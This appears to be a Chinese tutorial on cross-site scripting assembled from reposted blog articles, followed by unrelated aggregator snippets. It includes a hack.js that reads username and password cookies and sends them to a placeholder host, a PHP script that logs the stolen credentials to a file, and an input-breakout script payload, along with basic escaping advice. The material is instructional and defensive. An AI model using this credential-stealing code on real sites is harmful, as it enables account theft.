跨站腳本功攻擊,xss,一個簡單的例子讓你知道什么是xss攻擊

跨站腳本功攻擊,xss,一個簡單的例子讓你知道什么是xss攻擊

一、總結

一句話總結:比如用戶留言功能,用戶留言中寫的是網頁可執行代碼,例如js代碼,然后這段代碼在可看到這段留言的不同一戶的顯示上就會執行。

?

1、什么是xss?

用戶 代碼 頁面

XSS攻擊全稱跨站腳本攻擊,是為不和層疊樣式表(Cascading Style Sheets, CSS)的縮寫混淆,故將跨站腳本攻擊縮寫為XSS,XSS是一種在web應用中的計算機安全漏洞,它允許惡意web用戶將代碼植入到提供給其它用戶使用的頁面中。

?

2、xss攻擊的基本原理?

用戶提交 代碼 運行

就拿留言頁面來說,用戶留言之后,網頁肯定會加載顯示這些留言,如果用戶的留言是可運行的代碼,比如js,那么這個網頁就可以執行這段代碼,從而訪問這個網站的所有人都會執行這段代碼。

image

?

3、xss攻擊竊取用戶賬號密碼實例(重在原理)?

當然這個示例很簡單,幾乎攻擊不到任何網站,僅僅看看其原理。我們知道很多登陸界面都有記住用戶名、密碼的功能方便用戶下次登錄,有些網站是直接用明文記錄用戶名、密碼,惡意用戶注冊賬戶登錄后使用簡單工具查看cookie結構名稱后,如果網站有xss漏洞,那么簡單的利用jsonp就可以獲取其它用戶的用戶名、密碼了。

惡意用戶會這么輸入

image

我們看看http://test.com/hack.js里藏了什么

var username=CookieHelper.getCookie('username').value;
var password=CookieHelper.getCookie('password').value;
var script =document.createElement('script'); script.src='http://test.com/index.php?username='+username+'&password='+password; document.body.appendChild(script);

幾句簡單的javascript,獲取cookie中的用戶名密碼,利用jsonp把向http://test.com/index.php

發送了一個get請求

http://test.com/index.php

<?phpif(!empty($_GET['password'])){$username=$_GET['username']; $password=$_GET['password']; try{ $path=$_SERVER["DOCUMENT_ROOT"].'/password.txt'; $fp=fopen($path,'a'); flock($fp, LOCK_EX); fwrite($fp, "$username\t $password\r\n"); flock($fp, LOCK_UN); fclose($fp); }catch(Exception $e){ } } ?>

這樣惡意用戶就把訪問留言板的用戶的信息竊取了

?

4、xss攻擊最簡單粗糙的預防?

用戶輸入 過濾

其惡意腳本都是來自用戶的輸入。因此,可以使用過濾用戶輸入的方法對惡意腳本進行過濾。

1、獲取用戶輸入,不用.innerHTML,用innerText。

2、對用戶輸入進行過濾,如 HTMLEncode 函數實現應該至少進行 & < > " ' / 等符號轉義成 &amp &lt &gt &quot &#x27 &#x2F;

?

?

?

二、跨站腳本功攻擊,xss,一個簡單的例子讓你知道什么是xss攻擊(轉)

轉自:跨站腳本功攻擊,xss,一個簡單的例子讓你知道什么是xss攻擊 - Ideality_hunter的專欄 - CSDN博客
https://blog.csdn.net/Ideality_hunter/article/details/80621138

跨站腳本攻擊,xss,一個簡單的例子讓你知道什么是xss攻擊

https://www.cnblogs.com/dolphinX/p/3391351.html

這篇文章說的很清楚:

?

---總結

1、通過在前端輸入js代碼,即<script>代碼,點擊提交,comment字段保存到數據庫中。

2、當被提交的這段js代碼,再次出現在頁面上時(如之前是saveModify操作,將comment字段保存到數據庫中,然后執行viewModify,顯示comment信息,這段<script>代碼就顯示在了html頁面中,這段scrip代碼就被執行了),這段script代碼被執行。

3、該js代碼是第三方黑客的js

5、js會調用黑客的工程(即發起一個http url請求),將用戶名和密碼發送過去。

?

這樣,用戶名和密碼就泄露了。

?

但是有個問題,造成用戶密碼泄露的核心,是頁面上提交了某段惡意的<script>代碼,但是黑客怎么會在用戶的瀏覽器上提交這段<script>代碼呢?用戶肯定不會讓黑客使用自己的瀏覽器吧?

我想到了一種場景,讓用戶自己去提交這段惡意的<script>代碼。

場景如下:

?

1用戶已經正常登錄了上圖中的論壇系統

2黑客提供給用戶一個鏈接(可能是一個匿名郵件里的鏈接,這個鏈接被偽裝了,看上去很合法),如下圖中的參加,不參加,其實就是一個被偽裝的鏈接,點擊該鏈接就會在該論壇提交惡意script代碼(這個方式由很多種,其實就是向論壇發起一個http url請求,即將表單信息進行提交,表單中就有script代碼)。

?

3用戶點擊鏈接,惡意的<script>代碼代碼被提交,用戶中招。

就這么簡單。

====-=說一下我碰到過的一個xss跨站腳本攻擊場景,實際工程應用中碰到過的。

我有一個登錄頁面:

如果我有用戶abc,密碼123

輸入用戶名abc,密碼567,提示密碼錯誤,但是為了避免用戶再次輸入用戶名,將輸入的用戶名在頁面上保留。此時的html頁面是這樣的,f12查看:

好,場景描述完畢,xss跨站腳本開始了:

1、如果我直接在用戶名這里輸入<script>alert("1")</script>,然后輸入一個錯誤的密碼,并沒有執行script代碼,因為返回的html頁面是這樣的:

上圖中那樣的script代碼是不會執行的,因為在input的value中。只有獨立的形如下的script代碼才會執行。

2所以要想實現script代碼的執行,就需要進行拼接,將script代碼排到input標簽外。

怎么實現呢?

說白了就是自己拼接,將input標簽進行閉合,然后將script代碼綴在后邊。

通過用戶名的輸入,將input拼接成如下,即可實現script代碼的執行:

<input name="userName" class="textcss" id="userName" type="text" value="abc"/><script>alert("1")</script>"/>

為什么會執行?

可以將拼接后的input拆分看一下,就很明白了

<input name="userName" class="textcss" id="userName" type="text" value="abc"/>

<script>alert("1")</script>

"/>

因為input已經閉合了,所以script代碼會執行,至于拼接后的html文件是有語法錯誤的問題(因為最后剩下一個"/>,這個html是有錯誤的,但是不影響頁面展示和script代碼執行)就可以忽略了。

因此,只需要在用戶名那里輸入:

abc"/><script>alert("1")</script>

,然后輸入一個錯誤的密碼,點擊登錄,就會執行script代碼,彈出彈框。

?

===怎么解決呢?

網上的方式,感覺可行。

因為我之前工程中碰到過一種解決方式,是jfinal工程中實現的,在繼承JFinalConfig的子類中進行實現,和這個方式很像。

先說網上的這種方式:

https://blog.csdn.net/sdauzyh/article/details/74942737

再說jfinal方式實現:

推薦后者,即final方式解決xss攻擊。

?

?

?

?

?

三、跨站腳本攻擊XSS(轉)

轉自:跨站腳本攻擊XSS - 謙行 - 博客園
https://www.cnblogs.com/dolphinX/p/3391351.html

跨站腳本攻擊(Cross Site Script為了區別于CSS簡稱為XSS)指的是惡意攻擊者往Web頁面里插入惡意html代碼,當用戶瀏覽該頁之時,嵌入其中Web里面的html代碼會被執行,從而達到惡意用戶的特殊目的。

一個簡單的留言板

我們有個頁面用于允許用戶發表留言,然后在頁面底部顯示留言列表

<!DOCTYPE html>
<html>
<head><?php include('/components/headerinclude.php');?></head><style type="text/css">.comment-title{font-size:14px;margin: 6px 0px 2px 4px;}.comment-body{font-size: 14px;color:#ccc;font-style: italic;border-bottom: dashed 1px #ccc;margin: 4px;}</style><script type="text/javascript" src="/js/cookies.js"></script>
<body><form method="post" action="list.php"><div style="margin:20px;"><div style="font-size:16px;font-weight:bold;">Your Comment</div><div style="padding:6px;">Nick Name:<br/><input name="name" type="text" style="width:300px;"/></div><div style="padding:6px;">Comment:<br/><textarea name="comment" style="height:100px; width:300px;"></textarea></div><div style="padding-left:230px;"><input type="submit" value="POST" style="padding:4px 0px; width:80px;"/></div><div style="border-bottom:solid 1px #fff;margin-top:10px;"><div style="font-size:16px;font-weight:bold;">Comments</div></div><?php require('/components/comments.php'); if(!empty($_POST['name'])){addElement($_POST['name'],$_POST['comment']);}renderComments();?></div></form>
</body>
</html>

?

addElement()方法用于添加新的留言,而renderComments()方法用于展留言列表,網頁看起來是這樣的

?

image

XSS

因為我們完全信任了用戶輸入,但有些別有用心的用戶會像這樣的輸入

image

這樣無論是誰訪問這個頁面的時候控制臺都會輸出“Hey you are a fool fish!”,如果這只是個惡意的小玩笑,有些人做的事情就不可愛了,有些用戶會利用這個漏洞竊取用戶信息、誘騙人打開惡意網站或者下載惡意程序等,看個最簡單的例子

利用xss竊取用戶名密碼

?

當然這個示例很簡單,幾乎攻擊不到任何網站,僅僅看看其原理。我們知道很多登陸界面都有記住用戶名、密碼的功能方便用戶下次登錄,有些網站是直接用明文記錄用戶名、密碼,惡意用戶注冊賬戶登錄后使用簡單工具查看cookie結構名稱后,如果網站有xss漏洞,那么簡單的利用jsonp就可以獲取其它用戶的用戶名、密碼了。

惡意用戶會這么輸入

image

我們看看http://test.com/hack.js里藏了什么

var username=CookieHelper.getCookie('username').value;
var password=CookieHelper.getCookie('password').value;
var script =document.createElement('script');
script.src='http://test.com/index.php?username='+username+'&password='+password;
document.body.appendChild(script);

幾句簡單的javascript,獲取cookie中的用戶名密碼,利用jsonp把向http://test.com/index.php

發送了一個get請求

http://test.com/index.php

<?phpif(!empty($_GET['password'])){$username=$_GET['username'];$password=$_GET['password'];try{$path=$_SERVER["DOCUMENT_ROOT"].'/password.txt';$fp=fopen($path,'a');flock($fp, LOCK_EX);fwrite($fp, "$username\t $password\r\n");flock($fp, LOCK_UN);fclose($fp);}catch(Exception $e){}}
?>

這樣惡意用戶就把訪問留言板的用戶的信息竊取了

怎么預防

上面演示的是一個非常簡單的XSS攻擊,還有很多隱蔽的方式,但是其核心都是利用了腳本注入,因此我們解決辦法其實很簡單,不信賴用戶輸入,對特殊字符如”<”,”>”轉義,就可以從根本上防止這一問題,當然很多解決方案都對XSS做了特定限制,如上面這中做法在ASP.NET中不幸不同,微軟validateRequest對表單提交自動做了XSS驗證。但防不勝防,總有些聰明的惡意用戶會到我們的網站搞破壞,對自己站點不放心可以看看這個XSS跨站測試代碼大全試試站點是否安全。

轉載于:https://www.cnblogs.com/Renyi-Fan/p/9951407.html

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/450706.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/450706.shtml
英文地址,請注明出處:http://en.pswp.cn/news/450706.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

用業績建立信任

當年從香港到美國&#xff0c;對于中學畢業的郭尊華來說&#xff0c;算是一個失敗。他盡管家境普通&#xff0c;但因為成績不佳進不了香港的大學&#xff0c;不得不遠赴美國讀書。在課余做過挖地、當侍者等多份工作的他&#xff0c;在大三的時候終于得到一份初級工程師的工作。…

idea 快捷鍵 小結

前些天發現了一個巨牛的人工智能學習網站&#xff0c;通俗易懂&#xff0c;風趣幽默&#xff0c;忍不住分享一下給大家。點擊跳轉到教程。1.setting 打開快捷鍵&#xff1a;ctrl alt s 在 file - setting 中。 2.回到默認設置&#xff1a;刪除如下路徑的文件夾 C:\Users…

Jenkins常用插件

Generic Webhook Trigger Plugin觸發器webhook用戶觸發構建Deploy to container Plugin部署到tomcatGradle Plugin Gradle插件構建項目Maven Plugin Maven插件構建項目Git Plugin Git插件克隆項目GitHub plugin GitHub插件集成githubSSH Slaves plugin SSH插件用于遠程登錄Buil…

spark廣播變量 和 累加器

1 為什么使用廣播變量 和 累加器 變量存在的問題&#xff1a;在spark程序中&#xff0c;當一個傳遞給Spark操作(例如map和reduce)的函數在遠程節點上面運行時&#xff0c;Spark操作實際上操作的是這個函數所用變量的一個獨立副本。這些變量會被復制到每臺機器上&#xff0c;并且…

分布式常見面試題詳解

文章目錄1. 分布式1.1 什么是CAP原則&#xff1f;1.2 說一說你對高并發的理解1.3 如何實現分布式存儲&#xff1f;1.4 說一說你對分布式事務的了解1.5 分布式系統如何保證最終一致性&#xff1f;1.6 談談你對分布式的單點問題的了解1.7 HTTP和RPC有什么區別&#xff1f;1.7 HTT…

C11標準委員會成員解讀C語言新標準

導讀&#xff1a;C語言國際標準新的新草案之前已經公布&#xff0c;新標準提高了對C的兼容性&#xff0c;并將新的特性增加到C語言中。此外支持多線程的功能也受到了開發者的關注&#xff0c;基于ISO/IEC TR 19769:2004規范下支持Unicode&#xff0c;提供更多用于查詢浮點數類型…

如何將拷貝過來的數據 *.ibd 文件生效

1.將拷貝的數據文件 "qqq.idb"放在自己的數據庫中. 一般存放在 mysql/ data/ databasename 下 2. "qqq.idb" 改個名字-->"qqq--.idb", 主要是避免沖突&#xff01; 3.執行 create table qqq(...) 語句&#xff0c;此時除了會生成一個 qqq…

windows 下啟動zookeeper的zkServer.cmd服務閃退

前些天發現了一個巨牛的人工智能學習網站&#xff0c;通俗易懂&#xff0c;風趣幽默&#xff0c;忍不住分享一下給大家。點擊跳轉到教程。 解決方案把conf目錄下的默認zoo_sample.cfg的文件名字改成zoo.cfg 即可&#xff1a; 以上轉自&#xff1a;http://blog.csdn.net/qq4960…

設計模式常見面試真題詳解

文章目錄1. 設計模式1.1 說一說設計模式的六大原則1.2 說一下六大原則中的開閉原則1.3 手寫一個單例模式1.4 手寫一個線程安全的單例模式1.5 說一說你對工廠模式的理解1.6 簡單工廠模式和抽象工廠模式有什么區別&#xff1f;1.7 如何實現工廠模式&#xff1f;1.8 說一說你策略模…

Android內存優化之內存泄漏

內存泄漏 內存泄漏一般有以下幾種情況&#xff1a;單例、靜態變量、Handler、匿名內部類、資源使用未關閉 單例導致的內存泄漏 單例的情況主要是因為單例的生命周期比較長&#xff0c;如果引用的一些資源&#xff08;比如Context、圖片等&#xff09;沒有做特殊處理&#xff0c…

cmd - 使用curl命令的注意點

前言 最近在cmd中使用curl命令來測試rest api&#xff0c;發現有不少問題&#xff0c;這里記錄一下。 在cmd中使用curl命令的注意事項 json不能由單引號包括起來json數據里的雙引號要用反斜杠\轉義json數據里不能帶有空格如果想要在json數據里使用空格則必須用雙引號將整個json…

指針常見定義

再給出常用的C變量的定義方式&#xff1a;a) 一個整型數&#xff08;An integer&#xff09; b) 一個指向整型數的指針&#xff08;A pointer to an integer&#xff09; c) 一個指向指針的的指針&#xff0c;它指向的指針是指向一個整型數&#xff08;A pointer to a pointer …

場景應用題目常見面試真題詳解

文章目錄1. 場景應用1.1 微信紅包相關問題1.2 秒殺系統相關問題1.3 掃碼登錄流程1.4 如何實現單點登錄&#xff1f;1.5 如何設計一個本地緩存&#xff1f;1. 場景應用 1.1 微信紅包相關問題 參考答案 概況&#xff1a;2014年微信紅包使用數據庫硬抗整個流量&#xff0c;2015…

后Kubernetes時代的微服務

\本文要點\\當前微服務架構依然是最流行的分布式系統架構風格。Kubernetes和云原生運動已大規模地重新定義了應用設計和開發中的一些方面。\\t在云原生平臺上&#xff0c;服務僅具備可觀測性是不夠的。更基本的先決條件是使用檢查健康、響應信號、聲明資源消耗等手段實現微服務…

Dynamics CRM On-Premise V9安裝手記

下載地址&#xff1a; https://download.microsoft.com/download/A/D/D/ADDD6898-4EFA-46FA-80B6-6FE9A3CDED63/CRM9.0-Server-CHS-amd64.exe 安裝支持Windows 2016 及SQL Server 2016 SP2以上版本 我想安裝了All in one的&#xff0c;就想著用最新的SQLServer 2017&#xff0c…

金山網絡CEO傅盛:簡約之美

摘要&#xff1a;金山網絡CEO傅盛帶來了主題為《簡約之美》的精彩演講。他表示由于時代的變遷&#xff0c;紅海的競爭&#xff0c;項目的需求等原因&#xff0c;若想項目取得成功&#xff0c;唯有簡單才是王道&#xff0c;唯有簡單定位才能深入人心。那么&#xff0c;如何做到簡…

zookeeper安裝和使用 windows環境

簡介 前些天發現了一個巨牛的人工智能學習網站&#xff0c;通俗易懂&#xff0c;風趣幽默&#xff0c;忍不住分享一下給大家。點擊跳轉到教程。 ZooKeeper是一個分布式的&#xff0c;開放源碼的分布式應用程序協調服務&#xff0c;是Google的Chubby一個開源的實現&#xff0c;…

計算機網絡常見面試真題詳解

文章目錄1. 計算機網絡1.1 請介紹七層網絡體系結構。1.2 請介紹五層網絡體系結構。1.3 了解網絡編程協議嗎&#xff1f;客戶端發送給服務器的請求&#xff0c;怎么確定具體的協議&#xff1f;1.4 TCP、HTTP、FTP分別屬于哪一層&#xff1f;1.5 講一下TCP/IP協議。1.6 說一說你對…

2018.09.14python學習第四天part2

流程控制之while循環 1.什么是循環&#xff1f;&#xff08;what&#xff09; 循環是指重復做某一件事 2.為何要有循環&#xff1f;&#xff08;why&#xff09; 為了讓計算機能像人一樣重復去做某一件事 3.如何使用循環&#xff1f;&#xff08;how&#xff09; #語法一&#…

git操作指令合集

1.下載完git&#xff0c;需要輸入用戶名和郵箱 git config --global user.name "Your Name" git config --global user.email "emailexample.com" 注意git config命令的--global參數&#xff0c;用了這個參數&#xff0c;表示這臺電腦上所有的GIt倉庫都會使…